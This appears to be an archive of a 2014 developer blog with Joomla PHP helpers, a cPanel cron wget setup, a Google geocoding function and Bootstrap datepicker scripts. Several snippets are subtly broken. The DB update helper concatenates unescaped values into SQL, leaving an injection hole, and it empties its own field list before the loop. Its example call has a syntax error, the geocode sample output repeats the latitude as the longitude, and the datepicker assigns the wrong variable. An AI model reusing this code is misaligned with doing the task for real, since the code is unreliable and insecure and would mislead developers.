For security: It's always better to include key for your Cron Jobs like simple param &key=someencrypetd_value with the url, then decrypt and compare inside your controller task before starting the controller task functionality.

In fact, this will help you to prevent someone executing your Cron via direct url.

And, to Set Up Cron Jobs, just login to Cpanel->Cron Jobs->add your url in below format on Command.
// Add the below link into command.
wget -O /dev/null "http://www.yourdomain.com/index.php?option=com_article&view=cronjobs&key=eyJ0eXBl"

// And it would look like below; ( it schedules the job on every 6th of every 2hrs )

*/6 */2 * * * wget -O /dev/null "http://www.yourdomain.com/index.php?option=com_article&view=cronjobs&key=eyJ0eXBl"

//
More about Cpanel CronJobs

Friday 28 February 2014

Function to add the Error Log into Custom Log File in Joomla 3.0

Function to add the Error Log into Custom Log File in Joomla 3.0
function addErrorToLog($message='')
{
 $data = date('Y-m-d H.i.s'). "\t INFO \t\t ".$_SERVER['REMOTE_ADDR']." \t\t Message: ".$message;
 
 $log_path = JFactory::getApplication()->getCfg('log_path');
 $logfile_path = $log_path . '\com_locator.formbridge.log.php';
 
 if ( !file_exists($logfile_path) )  // if file is not exist.
 {
  $ini_data = "#\n" .
     "#\n" .
     "#Date: 28.02.2014 13:46:29 UTC\n" .
     "#WebApp: Form Bridge (Joomla Platform) 1.0 Stable [ IRC Adhikari ] 28.02.2014 00:00 GMT\n\n".
     "#Fields: date time \t priority \t clientip \t category : message\n";
  $error =  file_put_contents($logfile_path, (PHP_EOL . $ini_data . $data) );
 } else // If file already exist, add the data into existing file.
 {
  $error = file_put_contents($logfile_path, (PHP_EOL . $data), FILE_APPEND | LOCK_EX);
 }

 return true;
}
$this->addErrorToLog($message=' This is test message ');

Function to update the DB Table Record in Joomla 3.0+

// Function to update the DB Table Records in Joomla 3.0+ by passing the data in arrays
protected function updateTableRecordByClauses($fields, $table, $where=array())
{
 $this->db = JFactory::getDBO();
 
 $query = "UPDATE ".$table." SET %s WHERE %s";
 
 $fields = array();
 foreach ($fields as $key => $val ) :
  $fields[] = $this->db->quoteName($key) . '=\''.$val.'\'';
 endforeach;
 
 // Conditions for which records should be updated.
 $conditions = array();
 foreach ($where as $key => $val ) :
  $conditions[] = $this->db->quoteName($key) . '=\''.$val.'\'';
 endforeach;
 
 $this->db->setQuery( $query = sprintf($query, implode(",", $fields), implode(" AND ", $conditions)) );
 $result = $this->db->execute();

 return $result;
}
// To call the function 
 $fields = array('Status'=>'Approved');
 $whereClause = array('SubmissionId' => 12 'FieldName' => 'Membership', 'FieldValue' => 'Pending');
 $this->updateTableRecordByClauses($fields, '#__users_submission', $whereClause);


// Function to update the Single Where Clause.
protected function updateTableRecord($locationObj, $table)
{
 $this->db = JFactory::getDBO();
 // Update a new query object.
 $result = $this->db->updateObject($table, $locationObj, 'id');
 // $id = (int)$this->db->insertid();
 
 return $result;
}
 // Update the user record into '__users' table.
 $dataObj = new stdClass();
 $dataObj->id = $myfields['UserId'];
 $dataObj->lastResetTime = $location_id;
 $dataObj->block = $myfields['Country'];
 $dataObj->updated = date('Y-m-d H:i:s');
 $this->updateTableRecord($dataObj, '#__users');

Wednesday 26 February 2014

Get Geocodes Latitude and Longitude using PHP (via Google API)

The below function pulls the Geocode Location Latitude and Longitude values using PHP. It uses the Google API to pull those Geo co-ordinates.
 function getLatLogOfAddress($address='')
 {
  $address = urlencode($address);
  
  //here is the google api url
  $url = "http://maps.googleapis.com/maps/api/geocode/json?address=$address&sensor=false";
  
  //get the content from the api using file_get_contents
  $getmap = file_get_contents($url);
  
  //the result is in json format. To decode it use json_decode
  $googlemap = json_decode($getmap);

  $data = array();
  //get the latitute, longitude, address from google api's json result 
  $googlemap = isset($googlemap->results[0]) ? $googlemap->results[0] : '';
  $data['lat'] = isset($googlemap->geometry->location->lat) ? $googlemap->geometry->location->lat : '';
  $data['lng'] = isset($googlemap->geometry->location->lng) ? $googlemap->geometry->location->lng : ''; 
  $data['address'] = isset($googlemap->formatted_address) ? $googlemap->formatted_address : $address;
  
  return $data;
 }

// Call the function as below;
 $address = "Apollo Victoria Theatre, 17 Wilton Road, Westminster, London, SW1V 1LG, UK";
 $geocodes = $this->getLatLogOfAddress($address);
 print_r($geocodes);
 
// The Result would be...
 Array
 (
     [lat] => 51.4957746
     [lng] => 51.4957746
     [address] => London SW1V 1LG, UK
 ) 

Monday 24 February 2014

How the HTTP Live Streaming works: The Basics of HTTP Live Streaming

The research for this article started when some of my subscription users started complaining that they could only see a few minutes of one of my longer webinars before they needed to reset their browser. At first, I thought this was caused by bad programming on our part. But, further research made me realize that iOS devices only stream about 10 minutes of continuous video content when they are connected to a cellular data network, then they stop.
Period.
This article explains why. (If you want a more technical explanation, read this Apple Support Note.)
NOTE: If any of the following conditions are true, you can ignore this article:
  • You stream all your videos off YouTube, Vimeo, or other commercial streaming service
  • Your videos run less than 10 minutes
  • No one watches your videos on an iOS mobile device (apparently, Android devices don’t have this limitation).
Understanding Live Streaming isn’t easy, but it isn’t impossible, and this article provides a cookbook you can follow which makes a lot of it fairly simple.
SOME BACKGROUND
There are two types of web video:
  • Progressive downloads
  • Streaming video

Find more on below link:

Referred: The Basics of HTTP Live Streaming

Monday 13 January 2014

Concatenation/Joining of two string using Smarty

// Concatenation / Join of two string using Smarty using '|cat:' keyword.
{$param_key = "param_"|cat:$item_name.id}

Friday 10 January 2014

Bootstrap Date Picker - Auto close of Date1/ Check In and jump to Date2/ Check Out with 7days difference

In Bootstrap Date Picker, if you need to auto close a date select popup and auto jump to Date2/ Check Out popup with 7days difference, afterwards auto close the Check Out popup once selected. Use the below function.
/** Auto closing of In/Out POPUP on Select */
var enableInOutDatePicker = function (date1, date2) {
 
 // $( "#start_date" ).datepicker( { startDate:null, format:'dd/mm/yyyy', todayHighlight:true } );
 
 if ( (date1 =="" )  || (date1 == undefined) ) { var date1 = 'start_date'; }
 if ( (date2 =="" )  || (date2 == undefined) ) { var date1 = 'end_date'; }
 
 var nowTemp = new Date();
 var now = new Date(nowTemp.getFullYear(), nowTemp.getMonth(), nowTemp.getDate(), 0, 0, 0, 0);
 //alert(nowTemp);

 var checkin = $('#' + date1).datepicker({

     beforeShowDay: function (date) {
         return date.valueOf() >= now.valueOf();
     }
 }).on('changeDate', function (ev) {
     if (ev.date.valueOf() > checkout.date.valueOf()) {
         var newDate = new Date(ev.date);
         newDate.setDate(newDate.getDate() + 7);
         //alert(newDate);
         checkout.setValue(newDate);
         //checkout.setDate(newDate);
         checkout.update();
     }
     checkin.hide();
     $('#' + date2).focus();
 }).data('datepicker');

 var checkout = $('#' + date2).datepicker({
     beforeShowDay: function (date) {
         return date.valueOf() > checkin.date.valueOf();
     }
 }).on('changeDate', function (ev) {
     checkout.hide();
 }).data('datepicker');
};
/** Auto closing of In/Out POPUP on Select */


Bootstrap Datepicker - Auto closing of POPUP on date selection

In the Bootstrap Datepicker, if you need to auto close of popup date selector,
please use the below function.
/** Auto closing of POPUP on single date Selection */
var enableSingleDatePicker = function (date) {
 
 if ( (date =="" )  || (date == undefined) ) { var date = 'start_date'; }
 
 var nowTemp = new Date();
 var now = new Date(nowTemp.getFullYear(), nowTemp.getMonth(), nowTemp.getDate(), 0, 0, 0, 0);

 var checkout = $('#' + date).datepicker({
     beforeShowDay: function (date) {
      return date.valueOf() >= now.valueOf();
     }
 }).on('changeDate', function (ev) {
     checkout.hide();
 }).data('datepicker');
};